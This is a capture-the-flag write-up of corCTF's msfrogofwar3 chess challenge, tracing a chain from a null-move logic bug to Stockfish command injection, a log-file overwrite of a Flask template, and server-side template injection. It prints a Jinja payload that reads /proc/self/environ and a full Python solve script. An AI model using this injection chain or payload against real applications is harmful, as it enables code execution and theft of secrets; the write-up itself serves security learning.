msfrogofwar3 writeup | Chess to Stockfish RCE
Intro
My teammate Quasar carried corCTF this year, full clearing the Crypto category before I even finished moving back home from college. As such, msfrogofwar3 was one of the only challenges I helped solve during this CTF. It ended up being important, as we were in a three-way tie a couple hours before the CTF ended, and solving this challenge brought us up to first place. All in all, this was a really cool challenge and was really satisfying to finally solve.
Before solving:
After solving:
Challenge
- Authors: strellic, quintec
- Solves: 4
Attachments: msfrogofwar3.tar.gz
Analysis
First Glance
After opening up the challenge, which is run through an instancer, we’re met with a very familiar page. It looks identical to the msfrogofwar2 challenge from last year’s corCTF 2023!
Inside the tar.gz archive, we’re also presented with several files. The bulk of the code is present inside app.py
.
Diff
Because a lot of the code is shared, we can diff these files with the challenge files from msfrogofwar2 to get a better idea of what code is going to be vulnerable.
Here’s a diff for app.py
, since it includes the bulk of the code.
Toggle diff
1c1
< from flask import Flask, request
---
> from flask import Flask, request, render_template
5d4
< import os
7,8c6,7
< import chesslib
< import movegen
---
> import chess
> from stockfish import Stockfish
35c34
< TURN_LIMIT = 20
---
> TURN_LIMIT = 15
37c36
< FLAG = os.environ.get("FLAG", "corctf{test_flag}")
---
> FLAG = "corctf{this_is_a_fake_flag}"
42,43c41,43
< self.game = chesslib.Game(chesslib.STARTING_FEN)
< self.engine = Stockfish("./stockfish/stockfish-ubuntu-x86-64-avx2", parameters={"Threads": 4}, depth=STOCKFISH_DEPTH)
---
> self.board = chess.Board(chess.STARTING_FEN)
> self.moves = []
> self.player_turn = True
46c46
< moves = [f"{m}" for m in self.game.get_moves()] if self.game.turn == chesslib.Piece.WHITE and self.game.turns < TURN_LIMIT else []
---
> legal_moves = [f"{m}" for m in self.board.legal_moves] if self.player_turn and self.board.fullmove_number < TURN_LIMIT else []
48,49c48,49
< status = self.game.get_winner()
< if self.game.turns >= TURN_LIMIT:
---
> status = "running"
> if self.board.fullmove_number >= TURN_LIMIT:
51a52,57
> if outcome := self.board.outcome():
> if outcome.winner is None:
> status = "draw"
> else:
> status = "win" if outcome.winner == chess.WHITE else "lose"
>
53,55c59,61
< "pos": self.game.export_fen(),
< "moves": moves,
< "your_turn": self.game.turn == chesslib.Piece.WHITE,
---
> "pos": self.board.fen(),
> "moves": legal_moves,
> "your_turn": self.player_turn,
57c63
< "turn_counter": f"{self.game.turns} / {TURN_LIMIT} turns"
---
> "turn_counter": f"{self.board.fullmove_number} / {TURN_LIMIT} turns"
60,61c66,67
< def play_move(self, move):
< if self.game.turn != chesslib.Piece.WHITE:
---
> def play_move(self, uci):
> if not self.player_turn:
63c69
< if self.game.turns >= TURN_LIMIT:
---
> if self.board.fullmove_number >= TURN_LIMIT:
64a71,72
>
> self.player_turn = False
66,69c74,91
< move = movegen.Move.from_uci(self.game, move)
< legal_moves = self.game.get_moves()
<
< if move not in legal_moves:
---
> outcome = self.board.outcome()
> if outcome is None:
> try:
> move = chess.Move.from_uci(uci)
> if move:
> if move not in self.board.legal_moves:
> self.player_turn = True
> self.emit('state', self.get_player_state())
> self.emit("chat", {"name": "System", "msg": "Illegal move"})
> return
> self.board.push_uci(uci)
> except:
> self.player_turn = True
> self.emit('state', self.get_player_state())
> self.emit("chat", {"name": "System", "msg": "Invalid move format"})
> return
> elif outcome.winner != chess.WHITE:
> self.emit("chat", {"name": "🐸", "msg": "you lost, bozo"})
72,83c94
< self.game.play_move(move)
< self.emit("state", self.get_player_state())
<
< # check for winner
< status = self.game.get_winner()
< if status == chesslib.GameStatus.DRAW:
< self.emit("chat", {"name": "🐸", "msg": "Nice try... but not good enough 🐸"})
< return
< elif status == chesslib.GameStatus.WHITE_WIN:
< self.emit("chat", {"name": "🐸", "msg": "how??????"})
< self.emit("chat", {"name": "System", "msg": FLAG})
< return
---
> self.moves.append(uci)
91,92c102,106
< self.engine.set_fen_position(self.game.export_fen())
< opponent_move = self.engine.get_best_move(30000, 30000)
---
> engine = Stockfish("./stockfish/stockfish-ubuntu-x86-64-avx2", parameters={"Threads": 4}, depth=STOCKFISH_DEPTH)
> for m in self.moves:
> if engine.is_move_correct(m):
> engine.make_moves_from_current_position([m])
> opponent_move = engine.get_best_move_time(3_000)
94c108
< self.engine = Stockfish("./stockfish/stockfish-ubuntu-x86-64-avx2", parameters={"Threads": 4}, depth=STOCKFISH_DEPTH)
---
> pass
97,98c111,113
< opponent_move = movegen.Move.from_uci(self.game, opponent_move)
< if opponent_move.is_capture(self.game):
---
> self.moves.append(opponent_move)
> opponent_move = chess.Move.from_uci(opponent_move)
> if self.board.is_capture(opponent_move):
100c115,116
< self.game.play_move(opponent_move)
---
> self.board.push(opponent_move)
> self.player_turn = True
103,111c119,127
< # check for winner
< status = self.game.get_winner()
< if status == chesslib.GameStatus.DRAW:
< self.emit("chat", {"name": "🐸", "msg": "Nice try... but not good enough 🐸"})
< elif status == chesslib.GameStatus.BLACK_WIN:
< self.emit("chat", {"name": "🐸", "msg": random.choice(win_msges)})
<
< if self.game.turns >= TURN_LIMIT:
< self.emit("chat", {"name": "🐸", "msg": random.choice(win_msges)})
---
> if (outcome := self.board.outcome()) is not None:
> if outcome.termination == chess.Termination.CHECKMATE:
> if outcome.winner == chess.BLACK:
> self.emit("chat", {"name": "🐸", "msg": "Nice try... but not good enough 🐸"})
> else:
> self.emit("chat", {"name": "🐸", "msg": "how??????"})
> self.emit("chat", {"name": "System", "msg": FLAG})
> else: # statemate, insufficient material, etc
> self.emit("chat", {"name": "🐸", "msg": "That was close... but still not good enough 🐸"})
131c141
< return app.send_static_file('index.html')
---
> return render_template('index.html')
145c155,162
< games[request.sid].play_move(move)
---
> try:
> games[request.sid].play_move(move)
> except:
> emit("chat", {"name": "System", "msg": "An error occurred, please restart"})
>
> @socketio.on('state')
> def onmsg_state():
> emit('state', games[request.sid].get_player_state())
From this diff file, the two biggest observations I made were:
- We now use the
chess
andstockfish
python libraries, instead of the previously vulnerablechesslib
andmovegen
in msfrogofwar2.- This means that the legal moves are now determined by the
chess
library. - We interact with Stockfish via the
stockfish
library, instead of directly.
- This means that the legal moves are now determined by the
- Something has been done to the resulting win/loss/draw code, which is suspicious, as this shouldn’t require too much modification.
Ideas
The goal seems to be to beat Stockfish in 15 moves, five fewer than last year’s 20. It’s easy to see that we won’t be able to devise a stronger engine to do this.
However, because I am a magical schizo, I have a couple of ideas.
The first one is quite intuitive. It’s hard to lose in fifteen moves unless you can throw for the other side intentionally. So, the hope is that you can play for stockfish.
Solve Path
Playing as Black
Based on schizo intuition 1, and the fact that move checking is pretty much done via the python-chess
package. I discovered the existence of what’s called a “null move” while reading through the library code.
def push(self: BoardT, move: Move) -> None:
"""
Updates the position with the given *move* and puts it onto the
move stack.
>>> import chess
>>> board = chess.Board()
>>> Nf3 = chess.Move.from_uci("g1f3")
>>> board.push(Nf3) # Make the move
>>> board.pop() # Unmake the last move
Move.from_uci('g1f3')
Null moves just increment the move counters, switch turns and forfeit
en passant capturing.
.. warning::
Moves are not checked for legality. It is the caller's
responsibility to ensure that the move is at least pseudo-legal or
a null move.
"""
Without reading the entire code from the push function, the comments tell us that if we’re somehow able to play a null move, then we’d be able to switch who we’re playing for. So I send idea 2 to chat … and am immediately shot down.
Unfortunately, the move code looks like this.
move = chess.Move.from_uci(uci)
if move:
if move not in self.board.legal_moves:
self.player_turn = True
self.emit('state', self.get_player_state())
self.emit("chat", {"name": "System", "msg": "Illegal move"})
return
self.board.push_uci(uci)
self.board.push_uci(uci)
There’s quite a subtle bug here that Quasar missed initially. While the null move is illegal, the actual call to push_uci
is done regardless of whether the move is illegal. So when we send a null move, while it doesn’t change player turn, the move gets pushed regardless and now we’re able to play as black. To test this theory, we can try sending a null move via the websocket javascript console.
Correction (Aug 17th): I’ve been corrected about how this code works by the challenge author. Thanks Strellic!
Essentially, I missed the fact that null move’s are falsy, so the segment of code is just skipped entirely due to the condition if move:
.
As a bit of extra background, Quasar noticed that sending the null move just straight up worked. I don’t think we ever went back to figure out why, so my explanation above was a bit rushed. Here’s to just testing random things! 🥂
socket.emit('move', '0000')
Sure enough, we’ve now swapped which side Stockfish is playing for, and we now play for Stockfish. Stockfish plays for us!
It’s now trivial to lose the game. We can simply paste the following two lines of javascript after our null move and Stockfish plays.
socket.emit('move', 'f7f6')
socket.emit('move', 'g7g5')
And now white wins! We’re greeted with a flag:
corctf{this_is_a_fake_flag}
Hold up! Isn’t this the same flag in the file?? As it turns out, we’re not quite done yet. After a bit of pain and headbashing where we thought they had left the test flag in the remote service, we realized the real flag is hidden in the dockerfile as an environment variable.
Inside the start-docker.sh
file, we find:
#!/bin/sh
docker build . -t msfrogofwar3
docker run --rm -it -p 8080:8080 -e FLAG=corctf{real_flag} --name msfrogofwar3 msfrogofwar3
Well now what! We’ve won the game, but we still need RCE. It’s not immediately clear why winning the game helps us with RCE.
However, note this code snippet, from app.py
:
def play_move(self, uci):
if not self.player_turn:
return
if self.board.fullmove_number >= TURN_LIMIT:
return
self.player_turn = False
outcome = self.board.outcome()
if outcome is None:
try:
move = chess.Move.from_uci(uci)
if move:
if move not in self.board.legal_moves:
self.player_turn = True
self.emit('state', self.get_player_state())
self.emit("chat", {"name": "System", "msg": "Illegal move"})
return
self.board.push_uci(uci)
except:
self.player_turn = True
self.emit('state', self.get_player_state())
self.emit("chat", {"name": "System", "msg": "Invalid move format"})
return
elif outcome.winner != chess.WHITE:
self.emit("chat", {"name": "🐸", "msg": "you lost, bozo"})
return
self.moves.append(uci)
Once again, there’s another subtle logic bug. This time, if WHITE is the winner of the game, we get to add an extra move, as the case where WHITE is the winner is not handled properly, allowing us to skip straight to self.moves.append(uci)
, and get an extra move in.
What’s more interesting is that this one extra move also isn’t authenticated. We skip all validation logic, including:
- Checking if the move is in UCI format
- Verifying if the move is legal
- Actually pushing the move onto the board
This means we get arbitrary input to Stockfish. We can try to use this to obtain RCE! 🤯
Arbitrary Stockfish Input
In summary of above, we can now get arbitrary input to stockfish. Code to do so looks like this.
// Null move to switch sides
socket.emit('move', '0000')
// Moves to win the game through scholars mate
socket.emit('move', 'f7f6')
socket.emit('move', 'g7g5')
// Unauthenticated move goes here
socket.emit('move', 'a7a6\n...unauthenticatedstuffhere')
After a bit of poking around the Stockfish source and docs, my teammate Flocto found out about Stockfish Commands.
We weren’t able to find any straight up code execution here, but we did find something else. One of the stockfish commands, setoption
, allows us to change the parameters of the Stockfish Engine. And one of these parameters we can set is the Debug Log File
, which we can use to “Write all communication to and from the engine into a text file”.
With this in mind, we have arbitrary file write, right? Not quite. As it turns out, stockfish actually appends every message in it’s log file with either >>
or <<
, which can be found in the Stockfish code.
int uflow() override { return log(buf->sbumpc(), ">> "); }
Dirty Arbitrary File Write
See, we got stuck on this for a very long time. It’s very hard to create a valid file with the constraints that it must always start with >>
. What we have is not quite arbitrary file write, but is instead referred to as dirty arbitrary file write.
Unfortunately, it’s very hard to actually write a python or bash file that starts with >>
. In fact, I’m pretty sure it’s impossible, as they’ll be malformed. We also can’t directly write a binary, because that’ll also not work properly.
After a couple hours, including me leaving my team alone to play some Minecraft, I came back, looked at the challenge again for a bit, and realized that we can overwrite index.html
, as html isn’t so strictly parsed.
SSTI
We now have Server Side Template Injection (SSTI), which pretty much gives us RCE! 🎉
There are however a couple things to note. If we overwrite index.html
after visiting it, we’ll run into issues, as it’ll be loaded into memory and our new template won’t execute. So now we need to write a script that interacts directly with the socket, and never loads index.html
.
Our flag is also stored in an environment variable, and my teammate Ani pulled out a nice payload for SSTI.
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/proc/self/environ").read() }}
Now all that’s left is to put it together.
Solve
Solve script, credit goes to Jayden for actually implementing and writing the solve script for this challenge.
import socketio
import time
sio = socketio.Client()
moves = [
'0000',
'f7f6',
'g7g5',
'a7a6\nsetoption name Debug Log File value templates/index.html\n{{ request.__class__._load_form_data.__globals__.__builtins__.open("/proc/self/environ").read() }}'
]
@sio.event
def connect():
print('connected')
send_moves()
def send_moves():
for move in moves:
print(f"sending {move}")
sio.emit('move', move)
time.sleep(20)
sio.disconnect()
if __name__ == '__main__':
sio.connect('https://msfrogofwar3.be.ax/')
sio.wait()
And here lies the flag.
corctf{"Whatever you do, don''t reveal all your techniques in a CTF challenge, you fool, you moron." - Sun Tzu, The Art of War}
Concluding Thoughts
In hindsight, this challenge definitely could’ve been a lot easier if I had paid more attention to the diffs. Our first big time loss was not realizing that beating Stockfish was only the first part of the challenge, which we would’ve seen if we had just realized that the Dockerfile was different and had a different (not fake) flag inside of it. The second part we were stuck on but should’ve been quite easy was the dirty arbitrary file write. While working on the challenge, I didn’t even realize the template portion of the code was changed, and evidently none of my teammates did too. If we had noticed that templates were added, I think SSTI would’ve came up to mind a lot quicker than it did, and we would’ve had much less trouble solving the challenge.
Regardless of all the shenanigans we wasted our time on, we did ultimately end up solving this challenge and it was super fun to do. Thanks to strellic
and quintec
for once again writing an awesome chess challenge, definitely looking forward to another one next year if corCTF is hosted again. Also huge thanks to my teammates, there was a lot of collaboration that went into solving this challenge. ❤️